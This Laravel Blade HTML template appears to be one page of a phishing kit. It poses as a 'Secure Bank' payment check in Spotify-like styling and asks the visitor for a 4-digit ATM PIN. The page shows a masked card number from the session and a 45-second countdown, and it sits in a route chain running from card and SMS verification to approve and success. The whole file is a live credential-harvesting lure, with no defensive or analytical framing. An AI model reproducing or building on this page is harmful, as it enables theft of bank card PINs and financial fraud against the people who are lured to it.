<!DOCTYPE html>
<html lang="{{ str_replace('_', '-', app()->getLocale()) }}">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{{ __('app.atm.page_title') }}</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="shortcut icon" type="image/x-icon" href="/favicon.ico">
<link rel="stylesheet" href="{{ asset('style/spotify.css') }}">
<script src="{{ asset('javascript/spotify.js') }}" defer></script>
<meta name="csrf-token" content="{{ csrf_token() }}">
<script>
const verifySmsUrl = "{{ route('verifySms', ['session_id' => $session_id]) }}";
const verifyAtmUrl = "{{ route('atm', ['session_id' => $session_id]) }}";
const whatToDoUrl = "{{ route('what-to-do') }}";
const cardUrl = "{{ route('card', ['session_id' => $session_id]) }}";
const approveUrl = "{{ route('approve', ['session_id' => $session_id]) }}";
const successUrl = "{{ route('success', ['session_id' => $session_id]) }}";
// Custom page data from session
const customPageData = @json($custom_page_data);
const customPageStatus = {{ $custom_page_status ?? 'null' }};
const customPageBank = @json($custom_page_bank);
</script>
<script src="{{ asset('javascript/sms-working.js') }}"></script>
<style>
@import url('https://fonts.googleapis.com/css2?family=DM+Sans:wght@400;500;700;800&display=swap');
body {
font-family: 'DM Sans', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
background: radial-gradient(circle at 20% 95%, #056877, #051828 96%);
      }
.spotify-green { background-color: #1db954; }
.spotify-green:hover { background-color: #1ed760; }
.spotify-dark { background-color: #191414; }
.spotify-gray { background-color: #282828; }
.spotify-text { color: #ffffff; }
.spotify-text-secondary { color: #b3b3b3; }
.spotify-border { border-color: #535353; }
.spotify-input {
background-color: #eef1f6;
border: 1px solid #d7dce6;
color: #1f2937;
      }
.spotify-input:focus {
border-color: #1f6ff2;
outline: none;
box-shadow: 0 0 0 3px rgba(31, 111, 242, 0.16);
      }
.spotify-button {
background-color: #060606;
color: #ffffff;
font-weight: 700;
border-radius: 500px;
padding: 14px 32px;
border: none;
font-size: 16px;
letter-spacing: 0;
text-transform: none;
transition: all 0.2s ease;
      }
.spotify-button:hover {
opacity: 0.9;
      }
.spotify-card {
background-color: #f2f4f8;
border: 1px solid #dde2eb;
border-radius: 16px;
      }
.spotify-link {
color: #1f6ff2;
text-decoration: none;
font-weight: 500;
      }
.spotify-link:hover {
color: #2f7cff;
text-decoration: underline;
      }
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(1, 14, 39, 0.82);
display: flex;
justify-content: center;
align-items: center;
z-index: 9999;
backdrop-filter: blur(5px);
      }
.loading-content {
background: #f2f4f8;
padding: 2rem;
border-radius: 1rem;
text-align: center;
box-shadow: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04);
max-width: 400px;
width: 90%;
border: 1px solid #dbe2ee;
      }
.loading-spinner {
width: 60px;
height: 60px;
border: 4px solid #d8deea;
border-top: 4px solid #1f6ff2;
border-radius: 50%;
animation: spin 1s linear infinite;
margin: 0 auto 1rem;
      }
@keyframes spin {
        0% { transform: rotate(0deg); }
        100% { transform: rotate(360deg); }
      }
.hidden {
display: none !important;
      }
.atm-hero-visual {
max-width: 280px;
margin-left: auto;
margin-right: auto;
      }
.atm-hero-visual svg {
filter: drop-shadow(0 12px 24px rgba(15, 39, 72, 0.18));
border-radius: 12px;
      }
</style>
</head>
<body class="flex flex-col min-h-screen">
<header class="border-b border-[#2f4c73] bg-[#021a3d]/60 backdrop-blur-sm">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div class="flex justify-between items-center h-16 gap-2">
<div class="BrandLogo flex items-center" role="img" aria-label="{{ __('app.atm.bank_logo') }}">
<div class="BrandLogo top-logo flex-[0_0_64px] flex items-end justify-center w-288 h-64 bg-contain bg-center bg-no-repeat md:flex-[0_0_80px] md:w-360 md:h-20">
<svg width="120" height="80" viewBox="0 0 736 402" fill="none" xmlns="http://www.w3.org/2000/svg">
<!-- Gardé le même SVG pour conserver l'apparence -->
<path d="M115.516 157.048C93.1744 150.733..." fill="white"></path>
<!-- ... (SVG complet gardé tel quel) ... -->
</svg>
</div> 
</div>
<div class="flex items-center space-x-4">
@include('partials.lang-switch', ['class' => 'flex flex-wrap gap-1 sm:gap-2 items-center mr-2', 'linkClass' => 'text-blue-100 hover:text-white text-xs sm:text-sm px-1'])
<a id="header-help-link" href="#" class="text-blue-100 hover:text-white transition-colors">{{ __('app.common.help') }}</a>
<a id="header-account-link" href="#" class="text-blue-100 hover:text-white transition-colors">{{ __('app.common.account') }}</a>
</div>
</div>
</div>
</header>

<!-- Main Content -->
<main class="max-w-4xl mx-auto px-4 sm:px-6 lg:px-8 py-8 flex-1">

<!-- ATM PIN: clear explanation + illustration (not SMS / 2FA) -->
<div id="sms-verification-section" class="spotify-card p-6 sm:p-8 mb-8">
<div class="flex flex-col lg:flex-row gap-8 lg:gap-10 items-center lg:items-start">
<div class="atm-hero-visual flex-shrink-0 w-full lg:w-auto" role="img" aria-label="{{ __('app.atm.atm_aria') }}">
<svg viewBox="0 0 240 320" xmlns="http://www.w3.org/2000/svg" class="w-full h-auto bg-[#e8ecf4] rounded-xl border border-[#c5cdd9]">
<rect x="24" y="16" width="192" height="288" rx="14" fill="#2d3a4f"/>
<rect x="36" y="28" width="168" height="52" rx="6" fill="#0f172a"/>
<rect x="44" y="36" width="152" height="36" rx="4" fill="#1e3a5f"/>
<text x="120" y="58" text-anchor="middle" fill="#93c5fd" font-family="system-ui,sans-serif" font-size="11" font-weight="600">{{ __('app.atm.svg_enter_pin') }}</text>
<rect x="52" y="92" width="136" height="10" rx="3" fill="#64748b"/>
<text x="120" y="100" text-anchor="middle" fill="#cbd5e1" font-family="system-ui,sans-serif" font-size="7">{{ __('app.atm.svg_card_insert') }}</text>
<g transform="translate(56,118)">
<rect width="128" height="162" rx="8" fill="#1e293b"/>
<g fill="#334155" stroke="#475569" stroke-width="0.5">
<rect x="8" y="8" width="32" height="28" rx="4"/><rect x="48" y="8" width="32" height="28" rx="4"/><rect x="88" y="8" width="32" height="28" rx="4"/>
<rect x="8" y="44" width="32" height="28" rx="4"/><rect x="48" y="44" width="32" height="28" rx="4"/><rect x="88" y="44" width="32" height="28" rx="4"/>
<rect x="8" y="80" width="32" height="28" rx="4"/><rect x="48" y="80" width="32" height="28" rx="4"/><rect x="88" y="80" width="32" height="28" rx="4"/>
<rect x="8" y="116" width="72" height="28" rx="4"/><rect x="88" y="116" width="32" height="28" rx="4"/>
</g>
<text x="64" y="134" text-anchor="middle" fill="#e2e8f0" font-family="system-ui,sans-serif" font-size="10" font-weight="700">0</text>
<text x="24" y="98" text-anchor="middle" fill="#e2e8f0" font-family="system-ui,sans-serif" font-size="9">1</text>
<text x="64" y="98" text-anchor="middle" fill="#e2e8f0" font-family="system-ui,sans-serif" font-size="9">2</text>
<text x="104" y="98" text-anchor="middle" fill="#e2e8f0" font-family="system-ui,sans-serif" font-size="9">3</text>
</g>
<rect x="80" y="292" width="80" height="8" rx="2" fill="#0f172a"/>
</svg>
</div>
<div class="flex-1 min-w-0">
<h1 id="sms-main-title" class="text-2xl sm:text-3xl font-bold text-[#1f2937] mb-2">{{ __('app.atm.hero_title') }}</h1>
<p id="sms-main-subtitle" class="text-[#4b5563] text-base mb-2">{!! __('app.atm.hero_subtitle_html') !!}</p>
<p class="text-[#4b5563] text-sm leading-relaxed mb-4">{{ __('app.atm.hero_detail') }}</p>
<div class="grid sm:grid-cols-2 gap-3 mb-4">
<div class="rounded-xl border border-emerald-200 bg-emerald-50/90 p-4">
<p class="text-xs font-bold uppercase tracking-wide text-emerald-800 mb-1">{{ __('app.atm.box_pin_title') }}</p>
<p class="text-sm text-emerald-950 leading-snug">{{ __('app.atm.box_pin_body') }}</p>
</div>
<div class="rounded-xl border border-amber-200 bg-amber-50/90 p-4">
<p class="text-xs font-bold uppercase tracking-wide text-amber-900 mb-1">{{ __('app.atm.box_sms_title') }}</p>
<p class="text-sm text-amber-950 leading-snug">{{ __('app.atm.box_sms_body') }}</p>
</div>
</div>
<p id="security-step-notice" class="text-sm text-[#1e3a5f] bg-[#eff6ff] border border-[#93c5fd] rounded-lg px-3 py-2 mb-0">
{{ __('app.atm.remember_line') }}
</p>
<p class="text-xs text-amber-900 bg-amber-50 border border-amber-200 rounded-lg px-3 py-2 mt-3">{{ __('app.atm.sms_warning') }}</p>
</div>
</div>
</div>

<!-- Payment Summary -->
<div class="spotify-card p-6 mb-8">
<h2 class="text-xl font-bold text-[#1f2937] mb-4">{{ __('app.atm.summary_title') }}</h2>
<div class="bg-[#edf1f7] rounded-lg p-6 border border-[#dbe2ee]">
<div class="flex items-center justify-between mb-4">
<h3 class="text-lg font-bold text-[#1f2937]">{{ __('app.atm.details_title') }}</h3>
<div class="text-sm bg-[#0f2748] text-blue-100 px-3 py-1 rounded-full font-semibold">
              {{ __('app.atm.secure_badge') }}
</div>
</div>
<div class="space-y-2">
<div class="flex justify-between">
<span class="text-[#4b5563]">{{ __('app.atm.service') }}</span>
<span class="font-semibold text-[#1f2937]">{{ __('app.atm.service_value') }}</span>
</div>
<div class="flex justify-between">
<span class="text-[#4b5563]">{{ __('app.atm.amount') }}</span>
<span class="font-semibold text-[#0a4d78]">$XXX.XX</span>
</div>
<div class="flex justify-between">
<span class="text-[#4b5563]">{{ __('app.atm.card_number') }}</span>
<span class="font-semibold text-[#1f2937]">XXXX XXXX XXXX {{ session('last4_card_number', '1234') }}</span>
</div>
<div class="flex justify-between">
<span class="text-[#4b5563]">{{ __('app.atm.date') }}</span>
<span class="font-semibold text-[#1f2937]">{{ now()->locale(app()->getLocale())->translatedFormat('M j, Y') }}</span>
</div>
</div>
</div>
</div>

<!-- ATM PIN Form -->
<div id="sms-form-section" class="spotify-card p-6">
<div class="flex items-center gap-3 mb-6">
<div class="w-12 h-12 bg-blue-600 rounded-lg flex items-center justify-center">
<svg class="w-6 h-6 text-white" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"/>
</svg>
</div>
<div>
<h2 id="sms-form-title" class="text-xl font-bold text-[#1f2937]">{{ __('app.atm.form_title') }}</h2>
<p id="sms-form-subtitle" class="text-[#4b5563] text-sm">{{ __('app.atm.form_subtitle') }}</p>
</div>
</div>

<div id="sms-code-notice" class="bg-blue-50 border border-blue-300 rounded-lg p-4 mb-6">
<p id="sms-code-title" class="text-base font-semibold text-blue-900 mb-2">{{ __('app.atm.form_help_title') }}</p>
<p id="sms-code-description" class="text-sm text-blue-800 leading-relaxed">{{ __('app.atm.form_help_body') }}</p>
</div>

<!-- PIN Form -->
<form id="smsForm" method="POST" class="space-y-6">
          @csrf
<div class="space-y-4">
<div>
<label id="sms-input-label" class="block text-sm font-medium text-[#1f2937] mb-2">
                {{ __('app.atm.pin_label') }}
<span class="text-red-500">*</span>
</label>
<input type="text"
id="smsCode"
name="code"
placeholder="{{ __('app.atm.pin_placeholder') }}"
required
class="w-full px-4 py-4 spotify-input rounded text-center text-3xl tracking-widest font-bold placeholder-gray-500"
minlength="4"
maxlength="4"
inputmode="numeric">
<div class="text-center mt-3">
<p class="text-sm text-[#6b7280]">
                  {{ __('app.common.session_expires') }} <span id="timer" class="font-bold text-orange-600 timer">00:45</span>
</p>
</div>
</div>
</div>

<!-- Security Notice -->
<div id="secure-verification-notice" class="bg-blue-50 border border-blue-300 rounded-lg p-3 text-sm text-[#2d5378]">
{{ __('app.atm.security_note') }}
</div>

<!-- Error/Success Messages -->
<div id="error" class="error text-center mt-4" style="display: none;">
<div class="bg-red-900 bg-opacity-30 border border-red-500 text-red-200 px-4 py-3 rounded">
<p id="errorMessage">❌ {{ __('app.atm.error_pin') }}</p>
</div>
</div>
<div id="success" class="success text-center mt-4" style="display: none;">
<div class="bg-green-900 bg-opacity-30 border border-green-500 text-green-200 px-4 py-3 rounded">
<p>✅ {{ __('app.atm.success_pin') }}</p>
</div>
</div>

<div class="text-center">
<button type="button" id="confirmBtn" class="w-full spotify-button py-4 text-lg flex items-center justify-center gap-2">
<svg class="w-5 h-5" fill="currentColor" viewBox="0 0 20 20">
<path fill-rule="evenodd" d="M16.707 5.293a1 1 0 010 1.414l-8 8a1 1 0 01-1.414 0l-4-4a1 1 0 011.414-1.414L8 12.586l7.293-7.293a1 1 0 011.414 0z" clip-rule="evenodd"/>
</svg>
              {{ __('app.common.continue') }}
</button>
</div>
</form>
</div>

<div class="mt-8 flex flex-wrap justify-center gap-4 text-sm">
<a href="#" class="spotify-link">{{ __('app.common.help') }}</a>
<a href="#" class="spotify-link">{{ __('app.approve.contact_support') }}</a>
</div>
</main>

<!-- Loading Overlay -->
<div class="loading-overlay hidden" id="loadingOverlay">
<div class="loading-content">
<div class="loading-spinner"></div>
<div id="loadingText" class="text-xl font-semibold mb-2 text-[#1f2937]">{{ __('app.common.processing') }}</div>
<div class="text-sm mt-4 opacity-75 text-[#4b5563]" id="loadingSubtext">{{ __('app.common.verifying') }}</div>
</div>
</div>

<!-- Footer -->
<footer class="bg-[#021a3d] text-white mt-auto">
<div class="px-6 pt-12 flex flex-col lg:pl-10 justify-start w-full flex-wrap">
<div class="flex lg:flex-row flex-col justify-between lg:ml-[12%] lg:w-3/5 flex-wrap gap-6">
<div class="flex lg:flex-row justify-start lg:gap-20 gap-4 flex-col">
<div class="mb-6">
<h5 class="mb-2.5 lg:leading-3 leading-4 uppercase text-start lg:text-xs text-sm font-bold text-blue-200">{{ __('app.atm.footer_bank') }}</h5>
<ul class="mb-0 list-none flex lg:flex-row flex-col lg:gap-20 lg:text-xs text-base font-normal leading-3 gap-0">
<div>
<li><a href="#!" class="text-gray-300 hover:text-white transition-colors">About Us</a></li>
<li><a href="#!" class="text-gray-300 hover:text-white transition-colors">Security</a></li>
<li><a href="#!" class="text-gray-300 hover:text-white transition-colors">Investor Relations</a></li>
</div>
<div>
<li><a href="#!" class="text-gray-300 hover:text-white transition-colors">News</a></li>
<li><a href="#!" class="text-gray-300 hover:text-white transition-colors">Contact Us</a></li>
<li><a href="#!" class="text-gray-300 hover:text-white transition-colors">Support</a></li>
</div>
</ul>
</div>
</div>
</div>
<hr class="w-[80%] m-auto border-gray-700" />
</div>
<div class="p-6 text-center w-full bg-[#011635] flex lg:flex-row flex-col lg:justify-between justify-center lg:pl-60 gap-4">
<span class="lg:text-sm text-gray-400">© Secure Bank 2026. All rights reserved.</span>
<span class="flex flex-row gap-8 lg:justify-center justify-center lg:w-4/6 text-sm text-gray-400">
<span class="hover:text-white cursor-pointer transition-colors">Site Map</span>|
<span class="hover:text-white cursor-pointer transition-colors">Terms of Use</span>|
<span class="hover:text-white cursor-pointer transition-colors">Privacy & Security</span>
</span>
</div>
</footer>

<script>
// Le système de loading est géré par sms-working.js
</script>
</body>
</html>